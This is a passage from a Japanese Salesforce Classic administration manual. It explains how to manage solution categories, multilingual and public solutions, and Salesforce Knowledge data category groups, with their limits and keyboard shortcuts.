す。「ソリューション設定のカスタマイズ」 (ページ 3496)を参照してください。

9. 公開知識ベースまたはセルフサービスポータルでソリューションカテゴリを参照できるようにするには、
「公開ソリューションの有効化」 (ページ 3502)を参照してください。

カテゴリの編集と削除
ソリューションカテゴリのリストでは、次の操作を実行できます。
• カテゴリ名、親カテゴリ、または並べ替え順を変更するには、[編集] をクリックします。
• カテゴリを削除するには、[削除] をクリックします。そのカテゴリと関連付けられているソリューション

は削除されません。

メモ: Salesforceカスタマーポータルで使用中のカテゴリは削除できません。詳細は、「カスタマーポー
タルのログインと設定の有効化」 (ページ 2838)を参照してください。
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• カテゴリの詳細を表示するには、カテゴリ名をクリックします。

サブカテゴリの追加と並び替え
カテゴリの詳細ページでは、次の操作を実行できます。
• カテゴリの下にサブカテゴリを追加するには、[新規] をクリックします。
• サブカテゴリに適用するカスタム並び替え順を入力します。

1. カテゴリを編集し、[サブカテゴリ並び替え順] を [カスタム注文] に設定します。
2. [順番] 列に数字を入力して、サブカテゴリの並び替え順を指定します。
3. [並び替え] をクリックします。

関連トピック:

ソリューションの分類

ソリューションカテゴリの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソリューションカテゴリ
を作成または変更する
• 「カテゴリの管理」

ユーザが類似ソリューションをグループ化できるように、ソリューションカテ
ゴリを作成します。ソリューションを分類すると、ユーザは、[ソリューション]

タブから、またはケースを解決するときに、カテゴリ別にソリューションを参
照および検索できます。また、顧客は公開ソリューション、セルフサービスポー
タル、およびカスタマーポータルでカテゴリ別にソリューションを参照するこ
ともできます。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

関連トピック:

カテゴリの使用開始
ソリューションカテゴリの定義
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マルチ言語ソリューションの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

マルチ言語ソリューショ
ンを有効化する
• 「アプリケーションの

カスタマイズ」

マルチ言語ソリューションをオンにすることにより、ユーザがソリューション
を複数の言語に翻訳できるようになります。

マルチ言語ソリューションの準備
マルチ言語ソリューションを有効にする前に、次の手順を実行します。
• ソリューションレポートを実行して、既存の翻訳ソリューションと、マルチ

言語ソリューションの有効化後に翻訳ソリューションに変換する必要がある
ソリューションを表示します。
マルチ言語ソリューションを初めて有効化した場合は、すべての既存ソリュー
ションが自動的にマスタソリューションになります。[マスタソリューショ
ン] 参照項目から、翻訳ソリューションを持たないマスタソリューションを
異なる言語のマスタソリューションと関連付けることにより、マスタソリュー
ションから翻訳ソリューションを作成できます。

• 既存のソリューションカテゴリを翻訳します。
翻訳ソリューションは、マスタソリューションのソリューションカテゴリを
継承します。自分のソリューションカテゴリを翻訳してからマルチ言語ソ
リューションを有効化し、ソリューションを相互に関連付けることをお勧めします。そうすることで、ソ
リューションを正しいカテゴリと関連付けることができます。

マルチ言語ソリューションの有効化
マルチ言語ソリューションを有効化する
1. [設定] から、[クイック検索] ボックスに「ソリューション設定」と入力し、[ソリューション設定] を選択し

ます。
2. [編集] をクリックします。
3. [マルチ言語ソリューションを有効化] を選択します。

必要に応じて、[セルフサービスポータルでのマルチ言語ソリューション検索を有効化]および [公開ナレッジ
に対するマルチ言語ソリューション検索を有効化] を選択して、顧客が、言語ドロップダウンリストから、
特定の言語またはサポートされているすべての言語でソリューション検索結果を表示できるようにします。

4. [保存] をクリックします。
5. ソリューションページレイアウトをカスタマイズして、[マスタソリューション名]項目、[マスタソリュー

ション詳細] 項目、[変更フラグ] 項目、および [翻訳ソリューション] 関連リストを含めます。[言語] 選択
リストと [マスタソリューション]参照項目は、マルチ言語ソリューションが有効にするとソリューション
ページレイアウトに自動的に追加されます。

ヒント: 詳細情報セクションを 2 列に設定し、[マスタソリューション名] および [マスタソリューショ
ン詳細] 項目を並べて配置すると、ソリューション編集ページでユーザがマルチ言語ソリューション
を翻訳しやすくなります。これらの項目の下で、[ソリューション名]および [ソリューション詳細]項
目を並べて配置することにより、ユーザはマスタソリューションと翻訳ソリューションを簡単に比較
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できます。[マスタソリューション名] および [マスタソリューション詳細] 項目は、翻訳ソリューショ
ン編集ページにのみ表示されます。

6. [マスタソリューション] 参照項目の項目レベルセキュリティの設定を、ソリューションに対する「作成」
および「編集」権限を持つプロファイルまたは権限セットで編集できるようにします。
[マスタソリューション] 参照項目が編集可能である場合、ユーザは翻訳ソリューションをマスタソリュー
ションに関連付けることができます。
項目レベルセキュリティは、Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および
Developer Edition で使用できます。

7. [変更あり]チェックボックスの項目レベルセキュリティの設定を、ソリューションに対して「参照」権限
を持つすべてのプロファイルまたは権限セットに表示されるように設定します。
項目レベルセキュリティは、Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および
Developer Edition で使用できます。

8. ベストプラクティスとして、[翻訳コメント] というソリューションにロングテキストエリアカスタム項目
を追加してソリューションページレイアウトに組み込み、ユーザがそのソリューションの翻訳に関するコ
メントを追加できるようにします。各コメントが追加された日付が他のユーザにもわかるように、コメン
トと一緒に日付も入れる必要があります。

マルチ言語ソリューションのロールアウト
マルチ言語ソリューションを有効化したら、次の手順を実行します。
• 既存の翻訳ソリューションを適切なマスタソリューションと関連付けます。

この作業は、[マスタソリューション] 参照項目を使用して手動で行うことも、既存の翻訳ソリューション
のレポートをエクスポートし、次にそれらのソリューションをインポートしてマスタソリューションと関
連付けることもできます。インポートする各翻訳ソリューションについて、インポートファイルのマスタ
ソリューション列に、15 ～ 18 文字で構成されるマスタソリューションの [ソリューション ID]項目を入れ
ます。マスタソリューションの [ソリューション ID] 項目を表示するには、翻訳ソリューションレポート
を実行します。ソリューションを間違ってインポートした場合でも、一括削除によってソリューションを
組織から削除できます。

関連トピック:

マルチ言語ソリューションの概要
マルチ言語の知識ベースの設定
ソリューションの分類
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公開ソリューションの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソリューションに対する
Web アクセスを有効にす
る
• 「アプリケーションの

カスタマイズ」

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

[ソリューション] タブを使用すると、カスタマーサポートチームは、組織外の
人々に役立つ可能性のあるソリューションを作成できます。Salesforce に提供さ
れる HTML コードを使用し、Web サイト管理者と協力しながら、顧客がソリュー
ションを検索するための検索ボックスとボタンを Web サイトに追加できます。
この機能を公開ソリューションと呼びます。
公開ソリューションを使用すれば、顧客はカスタマーサポートセンターに電話
をかける必要なく、FAQ に対する回答を検索できます。ソリューションの添付も
含め、[状況] が [レビュー済み] になっているソリューション、および [公開知
識ベースに公開]項目がオンになっているソリューションはすべて公開ソリュー
ションとして使用可能です。
公開ソリューションでは、ユーザはログインを要求されず、ソリューションの
検索のみを実行可能でケースの送信は実行できません。この点で、公開ソリュー
ションはセルフサービスポータルおよび Salesforce カスタマーポータルと異なり
ます。セルフサービスポータルおよびカスタマーポータルについての詳細は「セ
ルフサービスの設定」 (ページ2903)および「カスタマーポータルの設定」 (ページ
2829)を参照してください。

メモ:

• 検索ボックスとボタンはフレーム内に表示されます。ソリューション検索機能を有効にするには、Web

サイトでフレームをサポートしている必要があります。
• 推奨ソリューションでは Salesforce ナレッジの記事は表示されません。

ソリューションに対する Web アクセスを有効にする手順は、次のとおりです。
1. [設定] から [クイック検索]ボックスに「公開ソリューション」と入力し、[公開ソリューション]を選択しま

す。
2. [編集] をクリックします。
3. [公開ソリューションを有効化] をオンにします。
4. 組織でソリューションカテゴリを使用している場合は、[カテゴリ別ソリューション参照を有効化]チェック

ボックスをオンにすれば、顧客がカテゴリ別にソリューションを参照できます。公開ソリューションでは、
ソリューションカテゴリを他の言語に翻訳できません。
組織でマルチ言語ソリューションが有効になっている場合、公開ソリューションに言語ドロップダウンリ
ストを追加できます。これにより、顧客はソリューションを検索する言語を選択できます。詳細は、「ソ
リューション設定のカスタマイズ」 (ページ 3496)を参照してください。

5. カテゴリ別ソリューション参照を有効にしている場合は、公開ソリューション内で顧客がアクセス可能な
[最上位カテゴリ] を選択します。[公開知識ベースに公開] チェックボックスをオンにしている場合、顧客
は、このカテゴリおよびサブカテゴリにあるすべてのソリューションを表示できます。
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公開ソリューションにアクセス可能な場合に、すべてのカテゴリにあるすべてのソリューションを顧客に
表示するには、[最上位カテゴリ] を空白にしておきます。

6. 必要に応じて、[最大ページ幅]と [ページの高さの最小値]を指定して Web サイトのフレームの外観を変更
できます。

7. CSS ページで使用するスタイルシートの URL を [スタイルシート URL] に指定します。CSS ファイルがまだ
存在していなくともかまいません。CSS ファイルは、サンプルファイルをダウンロードしてそれを基に作成
することも、独自のファイルを使用することもできます。

8. [用語のカスタマイズ] で、フレーム内のソリューションを説明するために使用する語句を変更できます。
その用語を単数形と複数形で指定します。(SFDC のレビューで削除)

9. [保存] をクリックします。
10. 必要に応じて、[サンプル CSS ファイルのダウンロード] をクリックして Salesforce のスタイルシートを取得

します。
11. [HTML ページを生成] をクリックします。
12. 結果の HTML コードをコピーして、[完了] をクリックします。
13. 次の手順で、サイトに追加する HTML (ダウンロードしている場合は CSS ファイルも) を Web サイト管理者に

送信します。
• HTML を Web ページに追加します。
• ダウンロードしたスタイルシートをカスタマイズします。
• スタイルシートを、Web サーバ上の公開されている場所に提供します。
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記事、アンサー、アイデアのカテゴリへの分類

Salesforce.com のデータカテゴリ
エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

データカテゴリは、Salesforce ナレッジ (記事と記事の翻訳)、アイデア、アンサー、
および Chatter アンサーで使用され、記事、質問、またはアイデアを分類して検
索できます。データカテゴリを使用して、特定の記事、質問、またはアイデア
のセットへのアクセスを制御できます。
Salesforce ナレッジではデータカテゴリを使用して記事を分類し、簡単に検索で
きるようにします。たとえば、営業地域や商品で記事を分類するには、[Sales

Regions (営業地域)] と [Products (商品)] という 2 つのカテゴリグループを作成しま
す。[Sales Regions (営業地域)] カテゴリグループでは、[All Sales Regions (全営業地域)]

を最上位として、第 2 レベルに [北米]、[アジア] というように、地理的階層を構
成することができます。[Products (商品] グループには、[すべての商品] を最上位
として、第 2 レベルに [電話]、[コンピュータ]、[プリンタ] を含めることができ
ます。

詳細データカテゴリの制限

カテゴリグループ 5 つ、
一度に有効にできるグ
ループ 3 つ

カテゴリグループ 5 つ、
一度に有効にできるグ
ループ 3 つ

最大データカテゴリグ
ループ数および有効な
データカテゴリグループ

1 つのデータカテゴリグ
ループに 100 個のカテゴ
リ

1 つのデータカテゴリグ
ループに 100 個のカテゴ
リ

データカテゴリグループ
あたりの最大カテゴリ数

1 つのデータカテゴリグ
ループ階層に 5 個のレベ
ル

1 つのデータカテゴリグ
ループ階層に 5 個のレベ
ル

データカテゴリグループ
階層あたりの最大レベル
数

記事に割り当てられた
データカテゴリグループ
の 8 個のデータカテゴリ

記事に割り当てられた
データカテゴリグループ
の 8 個のデータカテゴリ

記事に割り当てられた
データカテゴリグループ
の最大データカテゴリ数

アンサーゾーンでは、データカテゴリによって質問を整理し、見やすくすることができます。各ゾーンは、1

つのカテゴリグループをサポートします。たとえば、コンピュータメーカーの場合は、パフォーマンス型ラッ
プトップ、ポータブルラップトップ、ゲーム用デスクトップ、エンタープライズデスクトップの 4 つのカテゴ
リを持つ同階層カテゴリに [商品] カテゴリグループを作成します。[アンサー] タブで、ゾーンメンバーは、4

つのカテゴリのうち 1 つを各質問に割り当て、各質問に対する回答のカテゴリを参照できます。

例:

記事の論理的な分類
知識ベース管理者として、知識ベースの記事を論理階層に分類し、さらに業務に大きく影響する属性
を使用して記事を区別できます。
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質問への容易なアクセス
アンサー管理者は、[アンサー] タブに表示されるデータカテゴリを選択できます。ゾーンメンバーは、
質問にカテゴリのタグ付けをすることができます。他のメンバーが質問や回答を見つけやすくなりま
す。

記事および質問表示の管理
知識ベースまたはアンサーコミュニティ管理者として、ロール、権限セット、またはプロファイルを
カテゴリグループのカテゴリに対応付けて、記事または質問の表示を一元管理できます。記事または
質問を分類すると、表示権限があるユーザにその記事が自動的に表示されます。

記事の絞り込み検索
記事が論理カテゴリに分類されている場合、サポートエージェントとして、組織の知識ベースを絞り
込み検索して、必要な記事を迅速かつ簡単に特定できます。関連するすべての記事を表示できるよう
にするために、カテゴリによってフィルタ処理すると、カテゴリ階層にカテゴリの上下方向の相対を
含む幅広い結果を生み出します。たとえば、商品のカテゴリ階層のレベルが [すべての商品] > [コン
ピュータ] > [ラップトップ] > [ゲーム用ラップトップ] で、ラップトップの問題がある顧客をサポートし
ている場合、[ラップトップ] でフィルタ処理を行うと、[コンピュータ]、[すべての商品]、または [ゲー
ム用ラップトップ] で分類された記事の他、[ラップトップ] で分類された記事も返されます。すべての
商品の送料無料の提案や、ゲーム用ラップトップのアップグレードの提案のような、役に立つ関連記
事を認識しやすくなります (不適切な結果を回避するために、カテゴリのフィルタ処理では、同階層や
類似カテゴリのような非線形の相対関係は返しません。ラップトップの同階層であるデスクトップに
関する記事は表示されません)。

記事と質問のナビゲーション
エンドユーザとして、[記事] タブまたは [アンサー] タブのカテゴリを移動して、問題解決に必要な情
報を見つけることができます。

記事および質問のカテゴリグループの管理
組織に Salesforce ナレッジとアンサーコミュニティがある場合、個別のカテゴリグループを作成した
り、記事および質問に同じカテゴリグループを使用したりできます。

記事のデータカテゴリ
カテゴリグループは、一連のカテゴリのコンテナです。Salesforce ナレッジでは、[カテゴリの名前] ド
ロップダウンメニューに対応します。たとえば、[設定] の [データカテゴリ] ページ ([クイック検索]

ボックスに「データカテゴリ」と入力し、[データカテゴリ設定] を選択) を使用して [商品] というカテ
ゴリグループを作成し、有効にする場合、[記事の管理] タブ、記事の編集ページ、すべてのチャネル
の [記事] タブ、公開知識ベースに [商品] メニューが表示されます。
具体的に説明するために、下の図に知識ベース管理者が参照するラップトップの商談に関する記事の
ビューを示します。管理者は記事の編集ページを使用して、ラップトップに関する記事を、[商品] カ
テゴリグループの [ラップトップ] と [場所] カテゴリグループの [USA] に分類しています。
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[記事の管理] タブのラップトップの商談に関する記事

次の図は、あるエージェントが [記事] タブに公開されている上記の記事を検索するところを示してい
ます。このエージェントが [商品] と [場所] ドロップダウンメニューでそれぞれ [ラップトップ] と [USA]

を選択し、[ラップトップ] と [USA] の両方のカテゴリに分類されている記事を取得します。

[記事] タブのラップトップの商談に関する記事

カテゴリグループにカテゴリを追加する場合は、5 レベルまで格納できる階層と最大 100 個のカテゴリ
を構築します。各カテゴリには 1 つの親、多くの同階層、および多くの子があります。堅牢で適切に
整理されたカテゴリ階層により、カテゴリに関連する記事をすばやくかつ容易に見つけることができ
ます。
デフォルトでは、すべての Salesforce ナレッジユーザにすべてのカテゴリへのアクセス権があります
が、ロール、権限セット、またはプロファイルによりカテゴリの表示設定を制限できます。

アンサーゾーンのデータカテゴリ
アンサーゾーンは 1 つのカテゴリグループをサポートし、メンバーは質問ごとに 1 つのカテゴリを割
り当てることができます。カテゴリグループには最大 5 つの階層レベルを作成できますが、アンサー
コミュニティでサポートされるのは最初のレベルのカテゴリのみです。1 つ目のレベルの下にある子
カテゴリはコミュニティには表示されず、コミュニティメンバーはこれらの子カテゴリを質問に割り
当てることはできません。ゾーン名の下の [アンサー] タブにグループ内のカテゴリが表示されます。
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カテゴリを表示する [アンサー] タブ

デフォルトでは、すべてのゾーンメンバーにすべてのカテゴリへのアクセス権がありますが、カテゴ
リの表示設定を指定できます。

データカテゴリ実装のヒント
データカテゴリを計画して組織に導入する場合は、次の情報に留意してください。
• カテゴリグループは 3 つまで作成できます。各グループには最大 5 つの階層レベルを作成できま

す。各カテゴリグループには、合計で 100 のカテゴリを含めることができます。
• [アンサー] でデータカテゴリを使用する場合、カテゴリグループを作成した後、[設定] から、[ク

イック検索] ボックスに「データカテゴリの割り当て」と入力し、[アンサー] の下で [データカテゴ
リの割り当て] を選択して割り当てる必要があります。アンサーコミュニティにはカテゴリグルー
プを 1 つだけ割り当てることができます。Salesforce ナレッジは、複数のカテゴリグループをサポー
トします。

• カテゴリグループには最大 5 つの階層レベルを作成できますが、アンサーコミュニティでサポート
されるのは最初のレベルのカテゴリのみです。1 つ目のレベルの下にある子カテゴリはコミュニ
ティには表示されず、コミュニティメンバーはこれらの子カテゴリを質問に割り当てることはでき
ません。Salesforce ナレッジは、データカテゴリの階層をサポートします。

• カテゴリグループは、有効化するまでユーザには表示されません。カテゴリグループは、カテゴリ
とそのアクセス設定 (表示設定を含む) の定義が完了するまで有効化しないでください。

• カテゴリを記事に割り当てると、カテゴリグループから最大 8 のカテゴリを選択できます。
• 記事にカテゴリが含まれていない場合、記事は、カテゴリドロップダウンメニューの [条件なし]

オプションを選択する場合にのみ表示されます。
• 記事または記事の翻訳の検索時にカテゴリを選択すると、最上位までのそのカテゴリの親と子、お

よび親の親が自動的に含まれます。同階層カテゴリは含まれません。たとえば、カテゴリ階層に
[すべての商品]、[スイッチ]、[光ネットワーク]、および [メトロコア] のレベルがある場合、[カテゴ
リ] ドロップダウンメニューから [光ネットワーク] を選択すると、4 つのカテゴリに割り当てられた
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記事が返されます。ただし、[スイッチ] カテゴリに [ルータ] という同階層カテゴリがある場合、[光
ネットワーク] を選択しても、[ルータ] に分類されている記事は返されません。カテゴリ表示設定
によって、検索可能な特定の記事が制限される場合があります。

• カテゴリに表示設定を選択すると、次のようになります。
– デフォルトのカテゴリ表示が設定されていない場合、表示権限を割り当てられていないユーザ

は、未分類の記事と質問のみ参照できます。
– ロールベースの表示設定では、カスタマーポータルユーザとパートナーポータルユーザは、デ

フォルトでは、これらの取引先マネージャに割り当てられたカテゴリグループの表示設定を継
承します。各ポータルのカテゴリグループ表示設定を変更できます。

– カテゴリグループ内の 1 つのカテゴリだけにアクセス権がある場合、該当するカテゴリグルー
プの [カテゴリ] ドロップダウンメニューに [記事] タブは表示されません。

• カテゴリを削除すると、次のようになります。
– 完全に削除します。削除したものは復元できません。ごみ箱にも表示されません。
– 子カテゴリも完全に削除します。
– 必要に応じて、すべてのチャネルの [アンサー] タブ、[記事の管理] タブ、[ナレッジ] タブ、およ

び会社の公開知識ベースからカテゴリとその子カテゴリを削除します。
– カテゴリと記事または質問との間の関連付けを削除します。記事または質問は、別のカテゴリ

に再割り当てできます。
– 表示設定への対応付けを削除します。削除されたカテゴリに関連付けられた記事と回答が表示

されなくなります。
• カテゴリグループを削除すると、次のようになります。

– [削除されたカテゴリグループ] セクションに移動します。これはごみ箱です。このセクション
のアイテムは、参照はできますが、編集できません。アイテムは、ごみ箱に 15 日保持してから
完全に削除され、復元できません。15 日の保持期間中は、カテゴリグループを復元することも、
すぐに完全に削除することもできます。

– そのグループ内のすべてのカテゴリを削除します。
– グループのカテゴリと記事または質問との間の関連付けをすべて削除します。
– グループのカテゴリと表示設定との間の関連付けをすべて削除します。
– 必要に応じて、すべてのチャネルの [アンサー] タブ、[記事の管理] タブ、[記事] タブ、および会

社の公開知識ベースから [カテゴリ] ドロップダウンメニューを削除します。
• トランスレーションワークベンチを使用して、カテゴリとカテゴリグループのラベルを翻訳できま

す。
データカテゴリのベストプラクティス

データカテゴリを使用するときは、次のヒントに留意してください。
• データカテゴリをすばやく管理するには、キーボードショートカットを使用します。
• カテゴリを作成または更新したら、カテゴリグループ表示ルールを設定します。
• 変更は頻繁に保存してください。[保存] をクリックする前に行うアクションが多いほど、保存に時

間がかかります。
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データカテゴリのショートカット

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

データカテゴリをすばやく操作するには、キーボードショートカットを使用し
ます。

キーボードショート
カット

アクションタスク

Enter選択したカテゴリに同階層を追加
する

カテゴリの追加

Enter + Tab選択したカテゴリに子を追加する
Esc[カテゴリの追加] 項目を閉じる
Enter[カテゴリの追加] 項目での変更を

保存する

スペースバー選択したカテゴリの [カテゴリの
編集] 項目を開く

カテゴリの変更

Esc[カテゴリの編集] 項目を閉じる
Enter[カテゴリの編集] 項目での変更を

保存する
Tab現在の同階層の子としてカテゴリ

を 1 つ下のレベルに降格する
カテゴリの降格また
は昇格

Shift + Tab現在の親の同階層としてカテゴリ
を 1 つ上のレベルに昇格する

Delete選択したカテゴリとその子を削除
する

カテゴリの削除

上矢印カテゴリ階層内を上に移動するカテゴリ階層内の移
動 下矢印階層内を下に移動する

左矢印親カテゴリに含まれる子を折りた
たむ

右矢印親カテゴリに含まれる子を展開す
る

Ctrl + Z直前の操作を元に戻す操作のキャンセルま
たは繰り返し

Ctrl + Y直前の操作をやり直す
Ctrl + Sカテゴリ階層での最終変更を保存

する
変更の保存
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カテゴリグループの作成と編集

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

[データカテゴリ] ページを
表示する
• 「データカテゴリの表

示」

データカテゴリを作成、
編集、または削除する
• 「データカテゴリの管

理」

カテゴリグループは、Salesforce ナレッジ (記事)、アンサー (質問)、またはアイデ
アで使用されます。いずれの場合も、カテゴリグループは各データカテゴリの
コンテナです。たとえば、「Contracts (契約)」カテゴリグループには、「Fixed Price

(固定価格)」、「Cost Reimbursement (実費精算)」、および「Indefinite Delivery (指定
なし配送)」のカテゴリが含まれます。
1. [設定] から、[クイック検索] ボックスに「データカテゴリ」と入力し、[デー

タカテゴリ設定] を選択します。
2. カテゴリグループを作成するには、[カテゴリグループ] セクションで [新規]

をクリックします。
デフォルトで、カテゴリグループを最大 5 つ、アクティブなカテゴリグルー
プを 3 つ作成できます。既存のカテゴリグループを編集するには、カテゴリ
グループ名の上にカーソルを置き、[カテゴリグループの編集]アイコン ( )

をクリックします。
3. 最大 80 文字の [グループ名] を指定します。この名前は、[記事の管理] タブ

と [記事] タブのカテゴリドロップダウンメニューのタイトルとして表示さ
れ、また、該当する場合には、公開知識ベースにも表示されます。[グルー
プ名] は [アンサー] タブに表示されません。

4. 必要に応じて、[グループの一意の名前]  (SOAP API でカテゴリグループを識別
するために使用される一意の名前) を変更します。

5. 必要に応じて、カテゴリグループの説明を入力します。
6. [保存] をクリックします。

保存プロセスが完了すると、メールで通知されます。

カテゴリグループの有効化
カテゴリグループを追加すると、デフォルトで無効になり、[データカテゴ
リ]、[ロール]、[権限セット]、および [プロファイル] の管理設定ページにのみ
表示されます。カテゴリ階層を設定し、表示設定を割り当てるには、カテゴ
リグループを無効にしたままにします。カテゴリグループを手動で有効化す
るまで、Salesforce ナレッジまたはアンサーコミュニティには表示されませ
ん。カテゴリグループを有効にする他、アンサーコミュニティについては、
カテゴリを [アンサー] タブに表示する前にカテゴリグループをゾーンに割り
当てる必要があります。
カテゴリグループを有効化して、ユーザが使用できるようにするには、カテゴリグループ名の上にマウス
ポインタを置き、[カテゴリグループの有効化] アイコン ( ) をクリックします。

これで、カテゴリグループにカテゴリを追加できます。カテゴリグループを作成すると、Salesforce では すべ
て という名前のグループに、最上位レベルのカテゴリが自動的に作成されます。必要に応じて、すべて をダ
ブルクリックして、名前を変更します。
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カテゴリグループの削除と復元

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

[データカテゴリ] ページを
表示する
• 「データカテゴリの表

示」

データカテゴリを作成、
編集、または削除する
• 「データカテゴリの管

理」

カテゴリグループを削除すると、そのカテゴリすべてが削除され、カテゴリと
記事または質問のすべての関連付けも削除されます。このトピック全体をよく
読み、カテゴリグループを削除することの影響を理解してください。
1. [設定] から、[クイック検索] ボックスに「データカテゴリ」と入力し、[デー

タカテゴリ設定] を選択します。
2. カテゴリグループ名の上にカーソルを置きます。
3.

[カテゴリグループの削除] アイコン ( ) をクリックします。
4. 確認ダイアログでチェックボックスをオンにし、[OK] をクリックします。

データカテゴリグループが削除されます。データカテゴリグループを復元す
る場合は、ステップ 5 に進みます。

5. [カテゴリグループの削除] セクションで、カテゴリグループ名の上にカーソ
ルを置きます。

6.
[カテゴリグループの復元] アイコン ( ) をクリックします。
カテゴリグループは、無効なカテゴリグループとして [カテゴリグループ] セ
クションに移動し、記事、質問および表示設定との関連付けも復元されま
す。

例: カテゴリグループを削除すると、次のようになります。
• [削除されたカテゴリグループ] セクションに移動します。これはごみ箱

です。このセクションのアイテムは、参照はできますが、編集できませ
ん。アイテムは、ごみ箱に 15 日保持してから完全に削除され、復元で
きません。15 日の保持期間中は、カテゴリグループを復元することも、
すぐに完全に削除することもできます。

• そのグループ内のすべてのカテゴリを削除します。
• グループのカテゴリと記事または質問との間の関連付けをすべて削除し

ます。
• グループのカテゴリと表示設定との間の関連付けをすべて削除します。
• 必要に応じて、すべてのチャネルの [アンサー] タブ、[記事の管理] タブ、

[記事] タブ、および会社の公開知識ベースから [カテゴリ] ドロップダウ
ンメニューを削除します。
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カテゴリグループへのデータカテゴリの追加

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

[データカテゴリ] ページを
表示する
• 「データカテゴリの表

示」

データカテゴリを作成、
編集、または削除する
• 「データカテゴリの管

理」

カテゴリグループを作成した後、データカテゴリを追加することで、エージェ
ントが記事、質問、アイデアを分類、検索できるようになります。
システム管理者は、Salesforce ナレッジ記事、ゾーンの質問、またはアイデアの
データカテゴリを作成して、記事や質問、アイデアを分類して検索できるよう
にすることができます。また、データカテゴリを使用して記事、質問、アイデ
アへのアクセスを制御することもできます。
デフォルトでは、各データカテゴリグループに最大 100 個のカテゴリを作成し、
データカテゴリグループ階層内に最大 5 つのレベルを持つことができます。カ
テゴリや階層レベルの追加が必要な場合は、Salesforceにお問い合わせください。

メモ: [アンサー] タブでは、第 1 レベルのデータカテゴリのみが表示されま
す。そのため、ポータルまたはコミュニティのデータカテゴリを作成する
場合は、表示するカテゴリに親子の関係ではなく同階層の関係があること
を確認してください。

1. [設定] から、[クイック検索] ボックスに「データカテゴリ」と入力し、[デー
タカテゴリ設定] を選択します。

2. カテゴリグループ名をクリックします。
3. カテゴリを追加する位置のすぐ上位にあるカテゴリ (親)、または、同じレベ

ルにあるカテゴリ (兄弟) をクリックします。
4. [アクション]をクリックしたら、アクション [子カテゴリの追加]または [同階

層カテゴリの追加] を選択します。
5. 最大 40 文字のカテゴリ名を入力します。

可能な場合、Salesforceでは [カテゴリの一意の名前]として入力した名前が自
動的に再利用されます。これは、SOAP API で要求されるシステム項目です。

6. [追加] をクリックします。または、Enter キーを押します。
7. [保存] をクリックします。

変更は頻繁に保存してください。[保存] をクリックする前に行うアクション
が多いほど、保存に時間がかかります。

ヒント: デフォルトでは、すべての Salesforce ナレッジユーザとゾーンメン
バーがアクティブなカテゴリグループ内のすべてのカテゴリを表示できま
す。データカテゴリを設定したら、カテゴリの表示設定を制限して、ユー
ザからのアクセスが、ユーザに示したい記事と質問のみになるようにでき
ます。
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データカテゴリの変更および配置

エディション

使用可能なエディション:
Salesforce Classic

データカテゴリとアン
サーを使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

[データカテゴリ] ページを
表示する
• 「データカテゴリの表

示」

データカテゴリを作成、
編集、または削除する
• 「データカテゴリの管

理」

カテゴリの変更および配置は、処理に時間がかかる場合があります。また、記
事の表示や分類が変更になったり、他の深刻な結果を招いたりする場合もあり
ます。カテゴリを変更する前に、このトピック全体をよく読んでください。

重要: カテゴリ階層の変更は、ユーザ活動が活発でないときに行ってくだ
さい。この保存処理には、膨大で複雑な再計算が必要になる場合があり、
完了までに時間がかかる可能性があります。処理中は、エージェントには、
記事または質問の検索やカテゴリのドロップダウンリストの使用にパフォー
マンスの問題が出る場合があります。

1. [設定] から、[クイック検索] ボックスに「データカテゴリ」と入力し、[デー
タカテゴリ設定] を選択します。

2. カテゴリグループ名をクリックします。
